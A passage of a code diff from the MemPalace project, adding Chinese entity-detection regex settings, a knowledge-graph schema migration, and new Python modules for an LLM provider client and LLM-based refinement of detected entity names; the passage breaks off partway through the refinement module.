"candidate_pattern": "[王李张刘陈杨赵黄周吴徐孙朱胡郭何高林罗郑梁谢宋唐许韩冯邓曹彭曾萧田董袁潘于蒋蔡余杜叶程苏魏吕丁任沈姚卢姜崔钟谭陆汪范金石廖贾夏韦方白邹孟熊秦邱江尹薛阎段雷侯龙史陶黎贺顾毛郝龚邵万钱严武戴莫孔向汤温庞殷章葛管甘卞冉蓝殷习][\\u4E00-\\u9FFF]{1,2}",
"person_verb_patterns": [
"{name}说",
"{name}问",
"{name}答",
"{name}表示",
"{name}回答",
"{name}提出",
"{name}决定",
"{name}认为",
"{name}指出",
"{name}解释",
"{name}告诉",
"{name}写道",
"{name}想",
"{name}觉得",
"{name}知道",
"{name}喜欢",
"{name}讨厌",
"{name}确认",
"{name}提醒",
"{name}分享",
"{name}建议",
"{name}同意",
"{name}反对"
],
"pronoun_patterns": [
"他们",
"她们",
"他",
"她",
"它",
"您",
"咱"
],
"dialogue_patterns": [
"^>\\s*{name}[::\\s]",
"^{name}[::]\\s?",
"^\\[{name}\\]",
"\u201C{name}[\u201D::]",
"「{name}[」::]"
],
"direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|谢谢\\s*{name}|感谢\\s*{name}|哈喽\\s*{name}|亲爱的\\s*{name}",
"project_verb_patterns": [
"建立{name}",
"打造{name}",
"部署{name}",
"启动{name}",
"发布{name}",
"上线{name}",
"开发{name}",
"维护{name}",
"{name}系统",
"{name}平台",
"{name}项目",
"{name}架构",
"{name}管线",
"{name}v\\d+",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"的", "了", "着", "过", "得", "地", "吗", "吧", "呢", "啊", "喔", "耶",
"我", "你", "妳", "他", "她", "它", "您", "咱",
"我们", "你们", "妳们", "他们", "她们", "它们", "咱们",
"自己", "大家", "有人", "没人",
"今天", "明天", "昨天", "前天", "后天", "今年", "明年", "去年",
"早上", "下午", "晚上", "中午", "凌晨",
"现在", "刚才", "刚刚", "等等", "等下", "待会",
"最近", "以前", "之前", "之后", "以后", "后来",
"什么", "为什么", "怎么", "怎样", "哪里", "哪个",
"这个", "那个", "这里", "那里", "这些", "那些", "这样", "那样",
"但是", "可是", "然后", "所以", "因为", "如果", "虽然",
"而且", "或者", "或是", "还是", "不过", "只是", "不只",
"既然", "不然", "否则", "此外", "另外",
"很", "非常", "相当", "真的", "确实", "当然", "其实",
"已经", "正在", "即将", "将要", "刚好", "恰好",
"可能", "也许", "或许", "大概", "应该", "必须", "一定",
"完成", "执行", "进行", "开始", "结束", "继续", "停止", "完毕",
"没有", "有点", "有些", "一些", "许多", "很多",
"问题", "答案", "原因", "结果", "情况", "状况",
"主要", "重要", "基本", "简单", "复杂", "特别",
"谢谢", "感谢", "对不起", "不好意思", "请问",
"欢迎", "再见", "你好", "您好", "哈喽", "拜拜"
]
}
}
+88
View File
@@ -40,5 +40,93 @@
"stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一個 上 也 很 到 說 要 去 你 會 著 沒有 看 好 自己 這 那 她 他 它 們 但是 因為 所以 如果 雖然 然後 或者 而且",
"quote_pattern": "「([^」]{10,100})」|\u201c([^\u201d]{10,100})\u201d",
"action_pattern": "(構建|修復|添加|刪除|確認|創建|實現|修理|編寫|測試|驗證|更新|配置|啟動|停止)(?:了|完成|成功)"
},
"entity": {
"boundary_chars": "\\u4E00-\\u9FFF",
"candidate_pattern": "[王李張劉陳楊趙黃周吳徐孫朱胡郭何高林羅鄭梁謝宋唐許韓馮鄧曹彭曾蕭田董袁潘于蔣蔡余杜葉程蘇魏呂丁任沈姚盧姜崔鍾譚陸汪范金石廖賈夏韋方白鄒孟熊秦邱江尹薛閻段雷侯龍史陶黎賀顧毛郝龔邵萬錢嚴武戴莫孔向湯溫龐殷章葛管甘卞冉藍殷習][\\u4E00-\\u9FFF]{1,2}",
"person_verb_patterns": [
"{name}說",
"{name}問",
"{name}答",
"{name}表示",
"{name}回答",
"{name}提出",
"{name}決定",
"{name}認為",
"{name}指出",
"{name}解釋",
"{name}告訴",
"{name}寫道",
"{name}想",
"{name}覺得",
"{name}知道",
"{name}喜歡",
"{name}討厭",
"{name}確認",
"{name}提醒",
"{name}分享",
"{name}建議",
"{name}同意",
"{name}反對"
],
"pronoun_patterns": [
"他們",
"她們",
"他",
"她",
"它",
"您",
"咱"
],
"dialogue_patterns": [
"^>\\s*{name}[::\\s]",
"^{name}[::]\\s?",
"^\\[{name}\\]",
"「{name}[」::]",
"『{name}[』::]"
],
"direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|謝謝\\s*{name}|感謝\\s*{name}|哈囉\\s*{name}|親愛的\\s*{name}",
"project_verb_patterns": [
"建立{name}",
"打造{name}",
"部署{name}",
"啟動{name}",
"發布{name}",
"上線{name}",
"開發{name}",
"維護{name}",
"{name}系統",
"{name}平台",
"{name}專案",
"{name}架構",
"{name}管線",
"{name}v\\d+",
"\\bimport\\s+{name}\\b",
"\\bpip\\s+install\\s+{name}\\b"
],
"stopwords": [
"的", "了", "著", "過", "得", "地", "嗎", "吧", "呢", "啊", "喔", "耶",
"我", "你", "妳", "他", "她", "它", "您", "咱",
"我們", "你們", "妳們", "他們", "她們", "它們", "咱們",
"自己", "大家", "有人", "沒人",
"今天", "明天", "昨天", "前天", "後天", "今年", "明年", "去年",
"早上", "下午", "晚上", "中午", "凌晨",
"現在", "剛才", "剛剛", "等等", "等下", "待會",
"最近", "以前", "之前", "之後", "以後", "後來",
"什麼", "甚麼", "為什麼", "怎麼", "怎樣", "哪裡", "哪個",
"這個", "那個", "這裡", "那裡", "這些", "那些", "這樣", "那樣",
"但是", "可是", "然後", "所以", "因為", "如果", "雖然",
"而且", "或者", "或是", "還是", "不過", "只是", "不只",
"既然", "不然", "否則", "此外", "另外",
"很", "非常", "相當", "真的", "確實", "當然", "其實",
"已經", "正在", "即將", "將要", "剛好", "恰好",
"可能", "也許", "或許", "大概", "應該", "必須", "一定",
"完成", "執行", "進行", "開始", "結束", "繼續", "停止", "完畢",
"沒有", "有點", "有些", "一些", "許多", "很多",
"問題", "答案", "原因", "結果", "情況", "狀況",
"主要", "重要", "基本", "簡單", "複雜", "特別",
"謝謝", "感謝", "對不起", "不好意思", "請問",
"歡迎", "再見", "你好", "您好", "哈囉", "掰掰"
]
}
}
+1 -1
View File
@@ -49,7 +49,7 @@ If this fails, report the error and stop.
Run the following command to register the MemPalace MCP server with Claude:
claude mcp add mempalace -- python -m mempalace.mcp_server
claude mcp add mempalace -- mempalace-mcp
If this fails, report the error but continue to the next step (MCP
configuration can be done manually later).
+33 -2
View File
@@ -83,6 +83,8 @@ class KnowledgeGraph:
confidence REAL DEFAULT 1.0,
source_closet TEXT,
source_file TEXT,
source_drawer_id TEXT,
adapter_name TEXT,
extracted_at TEXT DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (subject) REFERENCES entities(id),
FOREIGN KEY (object) REFERENCES entities(id)
@@ -93,8 +95,25 @@ class KnowledgeGraph:
CREATE INDEX IF NOT EXISTS idx_triples_predicate ON triples(predicate);
CREATE INDEX IF NOT EXISTS idx_triples_valid ON triples(valid_from, valid_to);
""")
self._migrate_schema(conn)
conn.commit()
def _migrate_schema(self, conn):
"""Backwards-compatible schema migration for older triples tables.
Fresh palaces get ``source_drawer_id`` / ``adapter_name`` (RFC 002 §5.5)
directly from the canonical ``CREATE TABLE`` above, so this path is a
no-op on new installs. It exists for palaces that were created before
those columns were added: SQLite has no ``ADD COLUMN IF NOT EXISTS``,
so we introspect the schema and only issue the ALTER when the column
is missing.
"""
existing = {row["name"] for row in conn.execute("PRAGMA table_info(triples)")}
if "source_drawer_id" not in existing:
conn.execute("ALTER TABLE triples ADD COLUMN source_drawer_id TEXT")
if "adapter_name" not in existing:
conn.execute("ALTER TABLE triples ADD COLUMN adapter_name TEXT")
def _conn(self):
if self._connection is None:
self._connection = sqlite3.connect(self.db_path, timeout=10, check_same_thread=False)
@@ -137,10 +156,16 @@ class KnowledgeGraph:
confidence: float = 1.0,
source_closet: str = None,
source_file: str = None,
source_drawer_id: str = None,
adapter_name: str = None,
):
"""
Add a relationship triple: subject → predicate → object.
``source_drawer_id`` and ``adapter_name`` are RFC 002 §5.5 provenance
fields populated by adapters that advertise ``supports_kg_triples``;
they default to ``None`` so every existing caller stays source-compatible.
Examples:
add_triple("Max", "child_of", "Alice", valid_from="2015-04-01")
add_triple("Max", "does", "swimming", valid_from="2025-01-01")
@@ -173,8 +198,12 @@ class KnowledgeGraph:
triple_id = f"t_{sub_id}_{pred}_{obj_id}_{hashlib.sha256(f'{valid_from}{datetime.now().isoformat()}'.encode()).hexdigest()[:12]}"
conn.execute(
"""INSERT INTO triples (id, subject, predicate, object, valid_from, valid_to, confidence, source_closet, source_file)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
"""INSERT INTO triples (
id, subject, predicate, object,
valid_from, valid_to, confidence,
source_closet, source_file,
source_drawer_id, adapter_name
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
(
triple_id,
sub_id,
@@ -185,6 +214,8 @@ class KnowledgeGraph:
confidence,
source_closet,
source_file,
source_drawer_id,
adapter_name,
),
)
return triple_id
+9
View File
@@ -281,6 +281,8 @@ class Layer3:
lines = [f'## L3 — SEARCH RESULTS for "{query}"']
for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
meta = meta or {}
doc = doc or ""
similarity = round(1 - dist, 3)
wing_name = meta.get("wing", "?")
room_name = meta.get("room", "?")
@@ -327,6 +329,13 @@ class Layer3:
_first_or_empty(results, "metadatas"),
_first_or_empty(results, "distances"),
):
# ChromaDB may return None for doc/meta when a drawer's HNSW entry
# exists but its metadata/document rows haven't been materialized
# (partial-flush states, mid-delete, schema upgrade boundaries).
# Degrade gracefully — the hit still appears with real distance;
# storage fields show their fallback where content is missing.
meta = meta or {}
doc = doc or ""
hits.append(
{
"text": doc,
+417
View File
@@ -0,0 +1,417 @@
"""
llm_client.py — Minimal provider abstraction for LLM-assisted entity refinement.
Three providers cover the useful space:
- ``ollama`` (default): local models via http://localhost:11434. Works fully
offline. Honors MemPalace's "zero-API required" principle.
- ``openai-compat``: any OpenAI-compatible ``/v1/chat/completions`` endpoint.
Covers OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Fireworks,
Together, and most self-hosted setups.
- ``anthropic``: the official Messages API. Opt-in for users who want Haiku
quality without setting up a local model.
All providers expose the same ``classify(system, user, json_mode)`` method and
the same ``check_available()`` probe. No external SDK dependencies — stdlib
``urllib`` only.
JSON mode matters here: we always ask for structured output. Providers
differ on how to request it (Ollama: ``format: json``; OpenAI-compat:
``response_format``; Anthropic: prompt-level instruction) and this module
normalizes that away from the caller.
"""
from __future__ import annotations
import json
import os
from dataclasses import dataclass
from typing import Optional
from urllib.error import HTTPError, URLError
from urllib.parse import urlparse
from urllib.request import Request, urlopen
# ── External-service heuristic (issue #24 — privacy warning support) ─────
# Used by ``LLMProvider.is_external_service`` to decide whether the
# provider's configured endpoint will send user content off the local
# machine/network. Single source of truth so all three providers share
# identical "local vs external" semantics.
_LOCALHOST_HOSTS = frozenset({"localhost", "127.0.0.1", "::1"})
def _endpoint_is_local(url: Optional[str]) -> bool:
"""Return True if ``url``'s hostname is on the user's machine or
private network.
Local includes:
- localhost, 127.0.0.1, ::1
- hostnames ending in .local (mDNS/Bonjour)
- IPv4 RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
- IPv4 CGNAT (Tailscale and similar VPN/tunnel networks):
100.64.0.0/10 — first octet 100, second octet 64-127 inclusive
- IPv6 unique-local addresses (fc00::/7) — fc.../fd... prefixes
None / empty / unparseable URLs are treated as local (defensive default —
no endpoint means no external request can happen yet).
Anything else (including public IPs and FQDNs) is external.
"""
if not url:
return True
try:
host = (urlparse(url).hostname or "").lower()
except (ValueError, AttributeError):
return False
if not host:
return True
if host in _LOCALHOST_HOSTS:
return True
if host.endswith(".local"):
return True
if host.startswith("10."):
return True
if host.startswith("192.168."):
return True
if host.startswith("172."):
# 172.16.0.0 - 172.31.255.255
parts = host.split(".")
if len(parts) >= 2:
try:
if 16 <= int(parts[1]) <= 31:
return True
except ValueError:
pass
if host.startswith("100."):
# 100.64.0.0/10 — Tailscale CGNAT range. First octet 100, second
# octet 64-127 inclusive. Users running a local LLM (LM Studio,
# Ollama, etc.) accessible via Tailscale on a 100.x.x.x address
# should not trigger the external-API privacy warning.
# 100.x.x.x outside this range is regular allocated public space
# and remains external.
parts = host.split(".")
if len(parts) >= 2:
try:
if 64 <= int(parts[1]) <= 127:
return True
except ValueError:
pass
# IPv6 unique-local addresses fc00::/7 — match leading hex chars
if host.startswith("fc") or host.startswith("fd"):
return True
return False
class LLMError(RuntimeError):
"""Raised for any provider failure — transport, parse, auth, missing model."""
@dataclass
class LLMResponse:
text: str
model: str
provider: str
raw: dict
# ==================== BASE ====================
class LLMProvider:
name: str = "base"
def __init__(
self,
model: str,
endpoint: Optional[str] = None,
api_key: Optional[str] = None,
timeout: int = 120,
api_key_source: Optional[str] = None,
):
self.model = model
self.endpoint = endpoint
self.api_key = api_key
self.timeout = timeout
# Provenance of api_key (issue #26): "flag" when the constructor
# received an explicit api_key arg, "env" when it fell back to an
# environment variable, None when no key is in play. cmd_init
# uses this to gate the consent prompt — stray env-resolved keys
# require explicit user confirmation.
self.api_key_source = api_key_source
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
raise NotImplementedError
def check_available(self) -> tuple[bool, str]:
"""Return ``(ok, message)``. Fast probe that the provider is reachable."""
raise NotImplementedError
@property
def is_external_service(self) -> bool:
"""Return True if this provider's endpoint will send user content
off the local machine/network.
Used by ``mempalace init`` to decide whether to print a privacy
warning before first use (issue #24). URL-based heuristic only —
the endpoint determines, regardless of which provider class.
Subclasses that resolve their endpoint dynamically should override
if needed; the default works for the three in-tree providers
(Ollama / OpenAI-compat / Anthropic).
"""
return not _endpoint_is_local(self.endpoint)
def _http_post_json(url: str, body: dict, headers: dict, timeout: int) -> dict:
"""POST JSON and return the parsed response. Raises LLMError on any failure."""
req = Request(
url,
data=json.dumps(body).encode("utf-8"),
headers={"Content-Type": "application/json", **headers},
)
try:
with urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read())
except HTTPError as e:
detail = ""
try:
detail = e.read().decode("utf-8", errors="replace")[:500]
except Exception:
pass
raise LLMError(f"HTTP {e.code} from {url}: {detail or e.reason}") from e
except (URLError, OSError) as e:
raise LLMError(f"Cannot reach {url}: {e}") from e
except json.JSONDecodeError as e:
raise LLMError(f"Malformed response from {url}: {e}") from e
# ==================== OLLAMA ====================
class OllamaProvider(LLMProvider):
name = "ollama"
DEFAULT_ENDPOINT = "http://localhost:11434"
def __init__(
self,
model: str,
endpoint: Optional[str] = None,
timeout: int = 180,
**_: object,
):
super().__init__(
model=model,
endpoint=endpoint or self.DEFAULT_ENDPOINT,
timeout=timeout,
)
def check_available(self) -> tuple[bool, str]:
try:
with urlopen(f"{self.endpoint}/api/tags", timeout=5) as resp:
data = json.loads(resp.read())
except (URLError, HTTPError, OSError, json.JSONDecodeError) as e:
return False, f"Cannot reach Ollama at {self.endpoint}: {e}"
names = {m.get("name", "") for m in data.get("models", []) or []}
# Ollama tags may or may not include ':latest' — accept either form
wanted = {self.model, f"{self.model}:latest"}
if not names & wanted:
return (
False,
f"Model '{self.model}' not loaded in Ollama. Run: ollama pull {self.model}",
)
return True, "ok"
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
body: dict = {
"model": self.model,
"messages": [
{"role": "system", "content": system},
{"role": "user", "content": user},
],
"stream": False,
"options": {"temperature": 0.1},
}
if json_mode:
body["format"] = "json"
data = _http_post_json(f"{self.endpoint}/api/chat", body, headers={}, timeout=self.timeout)
text = (data.get("message") or {}).get("content", "")
if not text:
raise LLMError(f"Empty response from Ollama (model={self.model})")
return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
# ==================== OPENAI-COMPAT ====================
class OpenAICompatProvider(LLMProvider):
"""Any OpenAI-compatible ``/v1/chat/completions`` endpoint.
Supply ``--llm-endpoint http://host:port`` (with or without ``/v1``).
API key via ``--llm-api-key`` or the ``OPENAI_API_KEY`` env var.
"""
name = "openai-compat"
def __init__(
self,
model: str,
endpoint: Optional[str] = None,
api_key: Optional[str] = None,
timeout: int = 120,
**_: object,
):
if api_key:
resolved_key = api_key
source: Optional[str] = "flag"
else:
env_key = os.environ.get("OPENAI_API_KEY")
resolved_key = env_key or None
source = "env" if env_key else None
super().__init__(
model=model,
endpoint=endpoint,
api_key=resolved_key,
timeout=timeout,
api_key_source=source,
)
def _resolve_url(self) -> str:
if not self.endpoint:
raise LLMError("openai-compat provider requires --llm-endpoint")
url = self.endpoint.rstrip("/")
if url.endswith("/chat/completions"):
return url
if not url.endswith("/v1"):
url = f"{url}/v1"
return f"{url}/chat/completions"
def check_available(self) -> tuple[bool, str]:
if not self.endpoint:
return False, "no --llm-endpoint configured"
base = self.endpoint.rstrip("/")
base = base.removesuffix("/chat/completions").removesuffix("/v1")
try:
req = Request(f"{base}/v1/models")
if self.api_key:
req.add_header("Authorization", f"Bearer {self.api_key}")
with urlopen(req, timeout=5):
pass
except (URLError, HTTPError, OSError) as e:
return False, f"Cannot reach {self.endpoint}: {e}"
return True, "ok"
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
body: dict = {
"model": self.model,
"messages": [
{"role": "system", "content": system},
{"role": "user", "content": user},
],
"temperature": 0.1,
}
if json_mode:
body["response_format"] = {"type": "json_object"}
headers = {}
if self.api_key:
headers["Authorization"] = f"Bearer {self.api_key}"
data = _http_post_json(self._resolve_url(), body, headers=headers, timeout=self.timeout)
try:
text = data["choices"][0]["message"]["content"]
except (KeyError, IndexError, TypeError) as e:
raise LLMError(f"Unexpected response shape: {e}") from e
if not text:
raise LLMError(f"Empty response from {self.name} (model={self.model})")
return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
# ==================== ANTHROPIC ====================
class AnthropicProvider(LLMProvider):
name = "anthropic"
DEFAULT_ENDPOINT = "https://api.anthropic.com"
API_VERSION = "2023-06-01"
def __init__(
self,
model: str,
api_key: Optional[str] = None,
endpoint: Optional[str] = None,
timeout: int = 120,
**_: object,
):
if api_key:
resolved_key = api_key
source: Optional[str] = "flag"
else:
env_key = os.environ.get("ANTHROPIC_API_KEY")
resolved_key = env_key or None
source = "env" if env_key else None
super().__init__(
model=model,
endpoint=endpoint or self.DEFAULT_ENDPOINT,
api_key=resolved_key,
timeout=timeout,
api_key_source=source,
)
def check_available(self) -> tuple[bool, str]:
if not self.api_key:
return False, "ANTHROPIC_API_KEY not set (use --llm-api-key or env)"
# Don't probe — a live request would cost money. First real call will
# surface auth errors if the key is invalid.
return True, "ok"
def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse:
if not self.api_key:
raise LLMError("Anthropic provider requires ANTHROPIC_API_KEY env or --llm-api-key")
sys_prompt = system
if json_mode:
sys_prompt += "\n\nRespond with valid JSON only, no prose."
body = {
"model": self.model,
"max_tokens": 2048,
"temperature": 0.1,
"system": sys_prompt,
"messages": [{"role": "user", "content": user}],
}
headers = {
"X-API-Key": self.api_key,
"anthropic-version": self.API_VERSION,
}
data = _http_post_json(
f"{self.endpoint}/v1/messages", body, headers=headers, timeout=self.timeout
)
try:
text = "".join(
b.get("text", "") for b in data.get("content", []) or [] if b.get("type") == "text"
)
except (AttributeError, TypeError) as e:
raise LLMError(f"Unexpected response shape: {e}") from e
if not text:
raise LLMError(f"Empty response from Anthropic (model={self.model})")
return LLMResponse(text=text, model=self.model, provider=self.name, raw=data)
# ==================== FACTORY ====================
PROVIDERS: dict[str, type[LLMProvider]] = {
"ollama": OllamaProvider,
"openai-compat": OpenAICompatProvider,
"anthropic": AnthropicProvider,
}
def get_provider(
name: str,
model: str,
endpoint: Optional[str] = None,
api_key: Optional[str] = None,
timeout: int = 120,
) -> LLMProvider:
"""Build a provider by name. Raises LLMError on unknown provider."""
cls = PROVIDERS.get(name)
if cls is None:
raise LLMError(f"Unknown provider '{name}'. Choices: {sorted(PROVIDERS.keys())}")
return cls(model=model, endpoint=endpoint, api_key=api_key, timeout=timeout)
+500
View File
@@ -0,0 +1,500 @@
"""
llm_refine.py — Optional LLM refinement of regex-detected entities.
Takes the candidate set produced by phase-1 detection (manifests, git
authors, regex on prose) and asks an LLM to reclassify each candidate as
PERSON / PROJECT / TOPIC / COMMON_WORD / AMBIGUOUS.
Design constraints:
- Opt-in. Default init path never imports this module.
- Local-first by default (Ollama).
- Interactive UX: visible progress, clean cancellation (Ctrl-C returns
whatever was classified before the interrupt).
- Don't feed the raw corpus to the LLM — feed candidates + a few sampled
context lines each. Keeps total input to ~50-100K tokens even for huge
prose corpora.
Public:
refine_entities(detected, corpus_text, provider, ...) -> dict
"""
from __future__ import annotations
import json
import re
import sys
from dataclasses import dataclass
from mempalace.llm_client import LLMError, LLMProvider
BATCH_SIZE = 25 # candidates per LLM call; tuned for 4B local models
CONTEXT_LINES_PER_CANDIDATE = 3
CONTEXT_WINDOW_CHARS = 240 # max chars per context line to keep tokens bounded
# Valid labels the LLM is allowed to return. Anything else is treated as
# AMBIGUOUS so the user reviews it.
VALID_LABELS = {"PERSON", "PROJECT", "TOPIC", "COMMON_WORD", "AMBIGUOUS"}
SYSTEM_PROMPT = """You are helping organize a user's memory palace by classifying capitalized tokens found in their files.
For each candidate, pick exactly ONE label:
- PERSON: a specific real person the user knows (colleague, family, character they write about)
- PROJECT: a named product, codebase, or effort the user works on
- TOPIC: a recurring theme or subject (not a person, not a project) — cities, technologies, concepts
- COMMON_WORD: an English word, verb, or fragment that isn't a named entity at all (e.g. "Created", "Before", "Never")
- AMBIGUOUS: context is insufficient to decide between two of the above
Frameworks, runtimes, APIs, cloud services, vendors, and third-party products
(e.g. Angular, OpenAPI, Terraform, Bun, Google) are TOPIC unless the context
clearly says this is the user's own named codebase, product, or active effort.
Use the provided context lines to disambiguate. A capitalized word that only appears in metadata ("Created: 2026-04-24") is COMMON_WORD. A name that appears with pronouns and dialogue is PERSON.
Respond with JSON only. Schema:
{"classifications": [{"name": "<exact candidate name>", "label": "<LABEL>", "reason": "<one short sentence>"}]}
One entry per candidate, same order as the input."""
@dataclass
class RefineResult:
merged: dict # updated detected dict
reclassified: int # entries whose type changed
dropped: int # entries removed from the merged result (COMMON_WORD only)
errors: list[str] # per-batch error messages (transport/parse failures)
batches_completed: int
batches_total: int
cancelled: bool
def _collect_contexts(
corpus_lines: list[str], name: str, max_lines: int = CONTEXT_LINES_PER_CANDIDATE
) -> list[str]:
"""Return up to `max_lines` distinct lines from the corpus that mention `name`.
Case-insensitive token-boundary match. Lines are truncated to
CONTEXT_WINDOW_CHARS chars to keep token usage bounded.
"""
needle = re.compile(rf"(?<!\w){re.escape(name)}(?!\w)", re.IGNORECASE)
seen: set[str] = set()
out: list[str] = []
for line in corpus_lines:
if not needle.search(line):
continue
trimmed = line.strip()[:CONTEXT_WINDOW_CHARS]
if not trimmed or trimmed in seen:
continue
seen.add(trimmed)
out.append(trimmed)
if len(out) >= max_lines:
break
return out
def _build_user_prompt(candidates_with_contexts: list[tuple[str, str, list[str]]]) -> str:
"""Shape: for each candidate, list its current type guess + sampled contexts."""
parts: list[str] = ["CANDIDATES:"]
for i, (name, current_type, contexts) in enumerate(candidates_with_contexts, 1):
parts.append(f"\n{i}. {name} (currently: {current_type})")
if contexts:
for c in contexts:
parts.append(f" > {c}")
else:
parts.append(" > (no context available)")
return "\n".join(parts)
def _extract_json_candidates(text: str) -> list[str]:
"""Return plausible JSON payloads extracted from an LLM response."""
text = text.strip()
if not text:
return []
candidates: list[str] = [text]
for match in re.finditer(r"```(?:json)?\s*([\s\S]*?)\s*```", text, re.IGNORECASE):
candidate = match.group(1).strip()
if candidate and candidate not in candidates:
candidates.append(candidate)
for start, opener in ((i, ch) for i, ch in enumerate(text) if ch in "{["):
closer = "}" if opener == "{" else "]"
depth = 0
in_string = False
escaped = False
for i in range(start, len(text)):
ch = text[i]
if in_string:
if escaped:
escaped = False
elif ch == "\\":
escaped = True
elif ch == '"':
in_string = False
continue
if ch == '"':
in_string = True
elif ch == opener:
depth += 1
elif ch == closer:
depth -= 1
if depth == 0:
candidate = text[start : i + 1].strip()
if candidate and candidate not in candidates:
candidates.append(candidate)
break
return candidates
def _parse_response(text: str, expected_names: list[str]) -> dict[str, tuple[str, str]]:
"""Parse the LLM's JSON response into {name: (label, reason)}.
Robust to the model occasionally wrapping JSON in text or returning
slight schema variations. Falls back to matching by candidate name.
"""
data = None
for candidate in _extract_json_candidates(text):
try:
data = json.loads(candidate)
break
except json.JSONDecodeError:
continue
if data is None:
return {}
entries = data.get("classifications") if isinstance(data, dict) else data
if not isinstance(entries, list):
return {}
name_to_label: dict[str, tuple[str, str]] = {}
expected_set = {n.lower(): n for n in expected_names}
for entry in entries:
if not isinstance(entry, dict):
continue
name = entry.get("name") or entry.get("candidate")
label = entry.get("label") or entry.get("type") or entry.get("classification")
reason = entry.get("reason") or ""
if not isinstance(name, str) or not isinstance(label, str):
continue
# Restore canonical casing from expected_names
canonical = expected_set.get(name.lower(), name)
lbl = label.strip().upper()
if lbl not in VALID_LABELS:
lbl = "AMBIGUOUS"
name_to_label[canonical] = (lbl, reason.strip()[:120])
return name_to_label
def _apply_classifications(
detected: dict,
decisions: dict[str, tuple[str, str]],
allow_project_promotions: bool = True,
) -> tuple[dict, int, int]:
"""Merge LLM decisions back into the detected dict.
Returns (new_detected, reclassified_count, dropped_count).
Topics get their own bucket so the caller can persist them as
cross-wing tunnel signal. ``AMBIGUOUS`` still falls back to
``uncertain`` for human review.
"""
label_to_bucket = {
"PERSON": "people",
"PROJECT": "projects",
"TOPIC": "topics",
"AMBIGUOUS": "uncertain",
}
bucket_to_type = {
"people": "person",
"projects": "project",
"topics": "topic",
"uncertain": "uncertain",
}
# Index every entity by name for in-place update
all_entries: list[tuple[str, dict]] = []
for bucket, items in detected.items():
for e in items:
all_entries.append((bucket, e))
reclassified = 0
dropped = 0
new_detected: dict[str, list[dict]] = {
"people": [],
"projects": [],
"topics": [],
"uncertain": [],
}
for old_bucket, entry in all_entries:
decision = decisions.get(entry["name"])
if decision is None:
# No LLM opinion — keep as-is
new_detected.setdefault(old_bucket, []).append(entry)
continue
label, reason = decision
if label == "COMMON_WORD":
dropped += 1
continue
target_bucket = label_to_bucket[label]
if (
label == "PROJECT"
and not allow_project_promotions
and not _is_authoritative_project(entry)
):
target_bucket = "uncertain"
updated = dict(entry)
# Append the LLM's reason as a new signal so the user sees why it moved
signals = list(updated.get("signals", []))
signals.append(f"LLM: {label.lower()} — {reason}" if reason else f"LLM: {label.lower()}")
updated["signals"] = signals
if target_bucket != old_bucket:
reclassified += 1
updated["type"] = bucket_to_type.get(target_bucket, "uncertain")
new_detected[target_bucket].append(updated)
return new_detected, reclassified, dropped
def _build_corpus_origin_preamble(corpus_origin: dict | None) -> str:
"""Build a system-prompt preamble carrying corpus-origin context.
When the corpus has been identified as AI-dialogue with known persona
names, this preamble lets the LLM disambiguate ambiguous candidates
with knowledge that this is AI-dialogue. It does NOT add a new label
or change the classification schema — the post-refine sweep in
project_scanner.discover_entities still moves persona names into
``agent_personas``. The preamble is purely classification context for
the OTHER candidates (ambiguous, common-word) that benefit from
knowing the corpus shape.
Returns ``""`` when no usable origin context is available, so callers
can concatenate unconditionally without changing the v3.3.3 prompt
shape for opt-out paths.
"""
if not corpus_origin:
return ""
result = corpus_origin.get("result") or {}
if not result.get("likely_ai_dialogue"):
return ""
lines = ["\n\nCORPUS CONTEXT (corpus-origin detection):"]
platform = result.get("primary_platform")
if platform:
lines.append(f"- This corpus is AI-dialogue from {platform}.")
user_name = result.get("user_name")
if user_name:
lines.append(
f"- The corpus author (the human user) is named '{user_name}'. "
f"Treat this name as PERSON."
)
personas = result.get("agent_persona_names") or []
if personas:
lines.append(
"- The user has assigned these persona names to AI agents in "
f"this corpus: {', '.join(personas)}."
)
lines.append(
"- Persona names refer to AI agents, not biological people. "
"Classify them as PERSON (a downstream step tags them as "
"agent personas)."
)
return "\n".join(lines)
def _is_authoritative_person(entry: dict) -> bool:
"""Return True for git-author people that should not be second-guessed."""
signals = " ".join(entry.get("signals", [])).lower()
return "commit" in signals and "repo" in signals
def _is_authoritative_project(entry: dict) -> bool:
"""Return True for manifest/git-backed projects that are already source-backed."""
signals = " ".join(entry.get("signals", [])).lower()
manifest_markers = ("package.json", "pyproject.toml", "cargo.toml", "go.mod")
return any(marker in signals for marker in manifest_markers) or "commit" in signals
def _print_progress(batch_idx: int, total: int, current_name: str) -> None:
"""Overwrite-line progress indicator."""
width = 40
filled = int(width * batch_idx / total) if total else 0
bar = "█" * filled + "░" * (width - filled)
msg = f"\r LLM refine: [{bar}] batch {batch_idx}/{total} current: {current_name[:30]:<30}"
sys.stderr.write(msg)
sys.stderr.flush()
def refine_entities(
detected: dict,
corpus_text: str,
provider: LLMProvider,
batch_size: int = BATCH_SIZE,
show_progress: bool = True,
allow_project_promotions: bool = True,
corpus_origin: dict | None = None,
) -> RefineResult:
"""Reclassify detected entities using the LLM provider.
Only regex-derived candidates are sent for refinement. Git authors and
manifest/git-backed projects are already source-backed and don't benefit
from LLM second-guessing.
Ctrl-C during refinement: cancels the remaining batches, returns a
RefineResult with ``cancelled=True`` and whatever was classified before
the interrupt. The partial result is safe to pass straight to
``confirm_entities``.
Transport or parse failures in individual batches are recorded in
``errors`` and do not abort the run.
``allow_project_promotions=False`` keeps LLM-only project guesses in the
uncertain bucket. This is useful when manifest/git signal already supplied
canonical projects and regex/LLM hits are likely tools, vendors, or topics.
